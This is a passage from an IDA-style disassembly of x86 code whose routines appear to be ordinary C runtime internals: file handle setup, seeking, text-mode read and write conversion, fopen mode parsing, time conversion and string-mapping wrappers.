		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_415355
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_415373
; ---------------------------------------------------------------------------


loc_41534A:				; CODE XREF: sub_4151BF+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41535A
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41535A


loc_415355:				; CODE XREF: sub_4151BF+136j
					; sub_4151BF+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_415372
; ---------------------------------------------------------------------------


loc_41535A:				; CODE XREF: sub_4151BF+18Ej
					; sub_4151BF+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_415560
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_415373


loc_41536F:				; CODE XREF: sub_4151BF+167j
					; sub_4151BF+16Dj
		mov	byte ptr [edi],	0Dh


loc_415372:				; CODE XREF: sub_4151BF+199j
		inc	edi


loc_415373:				; CODE XREF: sub_4151BF+11Ej
					; sub_4151BF+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_4152C6
		jmp	short loc_415391
; ---------------------------------------------------------------------------


loc_415381:				; CODE XREF: sub_4151BF+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_415391
		or	al, 2
		mov	[esi], al


loc_415391:				; CODE XREF: sub_4151BF+101j
					; sub_4151BF+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_415397:				; CODE XREF: sub_4151BF+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_4153B0
; ---------------------------------------------------------------------------


loc_41539C:				; CODE XREF: sub_4151BF+12j
					; sub_4151BF+39j
		and	dword_4BA288, 0
		mov	dword_4BA284, 9


loc_4153AD:				; CODE XREF: sub_4151BF+ABj
					; sub_4151BF+C3j
		or	eax, 0FFFFFFFFh


loc_4153B0:				; CODE XREF: sub_4151BF+B7j
					; sub_4151BF+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4153B5	proc near		; CODE XREF: sub_410B5C+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_40E882
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4153D5
		push	1Bh
		call	sub_410C52
		pop	ecx


loc_4153D5:				; CODE XREF: sub_4153B5+16j
		mov	dword_4BB7C0, esi
		mov	dword_4BB8C0, 20h
		lea	eax, [esi+100h]


loc_4153EB:				; CODE XREF: sub_4153B5+52j
		cmp	esi, eax
		jnb	short loc_415409
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4BB7C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_4153EB
; ---------------------------------------------------------------------------


loc_415409:				; CODE XREF: sub_4153B5+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_41A134	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_4154E5
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_4154E5
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41543F
		mov	esi, eax


loc_41543F:				; CODE XREF: sub_4153B5+86j
		cmp	dword_4BB8C0, esi
		jge	short loc_415499
		mov	edi, offset dword_4BB7C4


loc_41544C:				; CODE XREF: sub_4153B5+DAj
		push	100h
		call	sub_40E882
		test	eax, eax
		pop	ecx
		jz	short loc_415493
		add	dword_4BB8C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41546A:				; CODE XREF: sub_4153B5+CFj
		cmp	eax, ecx
		jnb	short loc_415486
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41546A
; ---------------------------------------------------------------------------


loc_415486:				; CODE XREF: sub_4153B5+B7j
		add	edi, 4
		cmp	dword_4BB8C0, esi
		jl	short loc_41544C
		jmp	short loc_415499
; ---------------------------------------------------------------------------


loc_415493:				; CODE XREF: sub_4153B5+A4j
		mov	esi, dword_4BB8C0


loc_415499:				; CODE XREF: sub_4153B5+90j
					; sub_4153B5+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_4154E5


loc_41549F:				; CODE XREF: sub_4153B5+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4154DC
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_4154DC
		test	cl, 8
		jnz	short loc_4154BE
		push	eax
		call	dword_41A170	; GetFileType
		test	eax, eax
		jz	short loc_4154DC


loc_4154BE:				; CODE XREF: sub_4153B5+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4BB7C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_4154DC:				; CODE XREF: sub_4153B5+EFj
					; sub_4153B5+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41549F


loc_4154E5:				; CODE XREF: sub_4153B5+65j
					; sub_4153B5+71j ...
		xor	ebx, ebx


loc_4154E7:				; CODE XREF: sub_4153B5+195j
		mov	eax, dword_4BB7C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_415542
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_415502
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41550C
; ---------------------------------------------------------------------------


loc_415502:				; CODE XREF: sub_4153B5+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41550C:				; CODE XREF: sub_4153B5+14Bj
		push	eax
		call	dword_41A16C	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_415531
		push	edi
		call	dword_41A170	; GetFileType
		test	eax, eax
		jz	short loc_415531
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_415537


loc_415531:				; CODE XREF: sub_4153B5+163j
					; sub_4153B5+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_415546
; ---------------------------------------------------------------------------


loc_415537:				; CODE XREF: sub_4153B5+17Aj
		cmp	eax, 3
		jnz	short loc_415546
		or	byte ptr [esi+4], 8
		jmp	short loc_415546
; ---------------------------------------------------------------------------


loc_415542:				; CODE XREF: sub_4153B5+13Ej
		or	byte ptr [esi+4], 80h


loc_415546:				; CODE XREF: sub_4153B5+180j
					; sub_4153B5+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_4154E7
		push	dword_4BB8C0
		call	dword_41A168	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_4153B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_415560	proc near		; CODE XREF: sub_40FD42+20p
					; sub_40FD42+E2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4BB8C0
		push	esi
		push	edi
		jnb	short loc_4155E2
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4BB7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4155E2
		push	eax
		call	sub_417793
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4155A4
		mov	dword_4BA284, 9
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155A4:				; CODE XREF: sub_415560+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_41A05C	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4155C4
		call	dword_41A07C	; RtlGetLastWin32Error
		jmp	short loc_4155C6
; ---------------------------------------------------------------------------


loc_4155C4:				; CODE XREF: sub_415560+5Aj
		xor	eax, eax


loc_4155C6:				; CODE XREF: sub_415560+62j
		test	eax, eax
		jz	short loc_4155D3
		push	eax
		call	sub_4175A6
		pop	ecx
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155D3:				; CODE XREF: sub_415560+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4155F6
; ---------------------------------------------------------------------------


loc_4155E2:				; CODE XREF: sub_415560+Dj
					; sub_415560+2Aj
		and	dword_4BA288, 0
		mov	dword_4BA284, 9


loc_4155F3:				; CODE XREF: sub_415560+42j
					; sub_415560+71j
		or	eax, 0FFFFFFFFh


loc_4155F6:				; CODE XREF: sub_415560+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155FA	proc near		; CODE XREF: sub_40FF26+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4BA480
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_415633
		cmp	al, 72h
		jz	short loc_41562C
		cmp	al, 77h
		jnz	loc_415747
		mov	ecx, 301h
		jmp	short loc_415638
; ---------------------------------------------------------------------------


loc_41562C:				; CODE XREF: sub_4155FA+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41563B
; ---------------------------------------------------------------------------


loc_415633:				; CODE XREF: sub_4155FA+1Dj
		mov	ecx, 109h


loc_415638:				; CODE XREF: sub_4155FA+30j
		or	esi, 2


loc_41563B:				; CODE XREF: sub_4155FA+37j
		push	1
		pop	edx


loc_41563E:				; CODE XREF: sub_4155FA+8Bj
					; sub_4155FA+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41572D
		cmp	edx, ebx
		jz	loc_41572D
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_4156CC
		jz	short loc_4156BC
		sub	eax, 2Bh
		jz	short loc_4156A6
		sub	eax, 19h
		jz	short loc_41569C
		sub	eax, 0Eh
		jz	short loc_415687
		dec	eax
		jnz	loc_41571E
		cmp	[ebp+var_4], ebx
		jnz	loc_41571E
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41563E
; ---------------------------------------------------------------------------


loc_415687:				; CODE XREF: sub_4155FA+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41571E
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41563E
; ---------------------------------------------------------------------------


loc_41569C:				; CODE XREF: sub_4155FA+6Aj
		test	cl, 40h
		jnz	short loc_41571E
		or	ecx, 40h
		jmp	short loc_41563E
; ---------------------------------------------------------------------------


loc_4156A6:				; CODE XREF: sub_4155FA+65j
		test	cl, 2
		jnz	short loc_41571E
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41563E
; ---------------------------------------------------------------------------


loc_4156BC:				; CODE XREF: sub_4155FA+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41571E
		or	ecx, eax
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155FA+5Ej
		sub	eax, 62h
		jz	short loc_415719
		dec	eax
		jz	short loc_415702
		sub	eax, 0Bh
		jz	short loc_4156EB
		sub	eax, 6
		jnz	short loc_41571E
		test	ch, 0C0h
		jnz	short loc_41571E
		or	ch, 40h
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_4156EB:				; CODE XREF: sub_4155FA+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41571E
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_415702:				; CODE XREF: sub_4155FA+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41571E
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_415719:				; CODE XREF: sub_4155FA+D5j
		test	ch, 0C0h
		jz	short loc_415725


loc_41571E:				; CODE XREF: sub_4155FA+72j
					; sub_4155FA+7Bj ...
		xor	edx, edx
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_415725:				; CODE XREF: sub_4155FA+122j
		or	ch, 80h
		jmp	loc_41563E
; ---------------------------------------------------------------------------


loc_41572D:				; CODE XREF: sub_4155FA+4Aj
					; sub_4155FA+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_417827
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41574B


loc_415747:				; CODE XREF: sub_4155FA+25j
		xor	eax, eax
		jmp	short loc_415765
; ---------------------------------------------------------------------------


loc_41574B:				; CODE XREF: sub_4155FA+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4BA440
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_415765:				; CODE XREF: sub_4155FA+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41576A	proc near		; CODE XREF: sub_40FF26p
		mov	edx, dword_4BB580
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_4157DB
		mov	ebx, dword_4BA570
		mov	edi, ebx


loc_415786:				; CODE XREF: sub_41576A+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_4157A1
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41579C
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_415786
		jmp	short loc_4157DB
; ---------------------------------------------------------------------------


loc_41579C:				; CODE XREF: sub_41576A+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_4157C5
; ---------------------------------------------------------------------------


loc_4157A1:				; CODE XREF: sub_41576A+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_40E882
		pop	ecx
		mov	ecx, dword_4BA570
		mov	[edi+ecx], eax
		mov	eax, dword_4BA570
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_4157DB
		mov	esi, edi


loc_4157C5:				; CODE XREF: sub_41576A+35j
		cmp	esi, ebp
		jz	short loc_4157DB
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_4157DB:				; CODE XREF: sub_41576A+12j
					; sub_41576A+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41576A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157E2	proc near		; CODE XREF: sub_4101B6+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41589E
		cmp	ebx, 8Ah
		jg	loc_41589E
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_424B5C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_415821
		cmp	edi, 2
		jle	short loc_415821
		inc	esi


loc_415821:				; CODE XREF: sub_4157E2+37j
					; sub_4157E2+3Cj
		call	sub_417AE0
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_424A78
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_415894
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41589A
		cmp	dword_424A7C, 0
		jz	short loc_41589A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_417D53
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41589A


loc_415894:				; CODE XREF: sub_4157E2+90j
		add	ecx, dword_424A80


loc_41589A:				; CODE XREF: sub_4157E2+96j
					; sub_4157E2+9Fj ...
		mov	eax, ecx
		jmp	short loc_4158A1
; ---------------------------------------------------------------------------


loc_41589E:				; CODE XREF: sub_4157E2+13j
					; sub_4157E2+1Fj
		or	eax, 0FFFFFFFFh


loc_4158A1:				; CODE XREF: sub_4157E2+BAj
		pop	ebx
		leave
		retn
sub_4157E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158A4	proc near		; CODE XREF: sub_410320+A3p
					; sub_414DBA+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A508
		push	offset sub_416728
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4BA308, edi
		jnz	short loc_41591A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41A500
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_41A050	; LCMapStringW
		test	eax, eax
		jz	short loc_4158F8
		mov	dword_4BA308, ebx
		jmp	short loc_41591A
; ---------------------------------------------------------------------------


loc_4158F8:				; CODE XREF: sub_4158A4+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_424F04
		push	esi
		push	edi
		call	dword_41A054	; LCMapStringA
		test	eax, eax
		jz	loc_415A32
		mov	dword_4BA308, 2


loc_41591A:				; CODE XREF: sub_4158A4+2Ej
					; sub_4158A4+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41592F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_415AC8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41592F:				; CODE XREF: sub_4158A4+79j
		mov	eax, dword_4BA308
		cmp	eax, 2
		jnz	short loc_415956
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A054	; LCMapStringA
		jmp	loc_415A34
; ---------------------------------------------------------------------------


loc_415956:				; CODE XREF: sub_4158A4+93j
		cmp	eax, 1
		jnz	loc_415A32
		cmp	[ebp+arg_18], edi
		jnz	short loc_41596C
		mov	eax, dword_4BA324
		mov	[ebp+arg_18], eax


loc_41596C:				; CODE XREF: sub_4158A4+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_41A064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_415A32
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_40EC80
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4159C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4159C7:				; CODE XREF: sub_4158A4+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_415A32
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_41A064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_415A32
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_415A32
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_415A46
		cmp	[ebp+arg_14], edi
		jz	loc_415AC1
		cmp	esi, [ebp+arg_14]
		jg	short loc_415A32
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A050	; LCMapStringW
		test	eax, eax
		jnz	loc_415AC1


loc_415A32:				; CODE XREF: sub_4158A4+66j
					; sub_4158A4+B5j ...
		xor	eax, eax


loc_415A34:				; CODE XREF: sub_4158A4+ADj
					; sub_4158A4+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415A46:				; CODE XREF: sub_4158A4+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40EC80
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_415A7A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_415A7A:				; CODE XREF: sub_4158A4+1C2j
		cmp	ebx, edi
		jz	short loc_415A32
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41A050	; LCMapStringW
		test	eax, eax
		jz	short loc_415A32
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_415AA1
		push	edi
		push	edi
		jmp	short loc_415AA7
; ---------------------------------------------------------------------------


loc_415AA1:				; CODE XREF: sub_4158A4+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_415AA7:				; CODE XREF: sub_4158A4+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_41A058	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_415A32


loc_415AC1:				; CODE XREF: sub_4158A4+165j
					; sub_4158A4+188j
		mov	eax, esi
		jmp	loc_415A34
sub_4158A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415AC8	proc near		; CODE XREF: sub_4158A4+81p
					; sub_41920C+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_415AE5


loc_415AD8:				; CODE XREF: sub_415AC8+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_415AE5
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_415AD8


loc_415AE5:				; CODE XREF: sub_415AC8+Ej
					; sub_415AC8+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_415AF0
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_415AF0:				; CODE XREF: sub_415AC8+21j
		mov	eax, edx
		retn
sub_415AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF3	proc near		; CODE XREF: sub_410487+A2p
					; sub_410C9B+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4BB8C0
		push	esi
		push	edi
		jnb	loc_415C87
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4BB7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_415C87
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_415B44


loc_415B3D:				; CODE XREF: sub_415AF3+177j
		xor	eax, eax
		jmp	loc_415C9B
; ---------------------------------------------------------------------------


loc_415B44:				; CODE XREF: sub_415AF3+48j
		test	al, 20h
		jz	short loc_415B54
		push	2
		push	edi
		push	ecx
		call	sub_415560
		add	esp, 0Ch


loc_415B54:				; CODE XREF: sub_415AF3+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_415C23
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_415C5B


loc_415B74:				; CODE XREF: sub_415AF3+F5j
		lea	eax, [ebp+var_414]


loc_415B7A:				; CODE XREF: sub_415AF3+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_415BAE
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_415B99
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_415B99:				; CODE XREF: sub_415AF3+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_415B7A


loc_415BAE:				; CODE XREF: sub_415AF3+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_41A06C	; WriteFile
		test	eax, eax
		jz	short loc_415C18
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_415BEA
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_415B74


loc_415BEA:				; CODE XREF: sub_415AF3+EAj
					; sub_415AF3+12Ej
		xor	edi, edi


loc_415BEC:				; CODE XREF: sub_415AF3+150j
					; sub_415AF3+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_415C82
		cmp	[ebp+arg_0], edi
		jz	short loc_415C5B
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_415C50
		mov	dword_4BA284, 9
		mov	dword_4BA288, eax
		jmp	loc_415C98
; ---------------------------------------------------------------------------


loc_415C18:				; CODE XREF: sub_415AF3+E0j
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_415BEA
; ---------------------------------------------------------------------------


loc_415C23:				; CODE XREF: sub_415AF3+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_41A06C	; WriteFile
